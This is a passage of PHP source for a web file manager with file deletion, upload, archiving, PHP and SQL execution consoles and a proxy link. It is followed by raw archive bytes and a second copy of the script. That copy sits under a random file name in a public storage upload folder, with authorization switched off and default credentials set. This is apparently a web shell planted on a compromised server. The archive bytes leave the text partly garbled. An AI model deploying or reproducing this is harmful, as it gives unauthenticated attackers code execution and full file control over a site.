		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK!�r�
<<
ysk2v.php.tarnu�[���PK!�𲫵a�a=<ysk2v.php.php.tar.gznu�[���PK!���7�5�5	6�ysk2v.phpnu�[���PK�[�ysk2v.php.tar000064400000236000000000000000007062 0ustar00var/www/html/back/storage/app/public/87/4odfzq/ysk2v.php000064400000232754000000000000016740 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

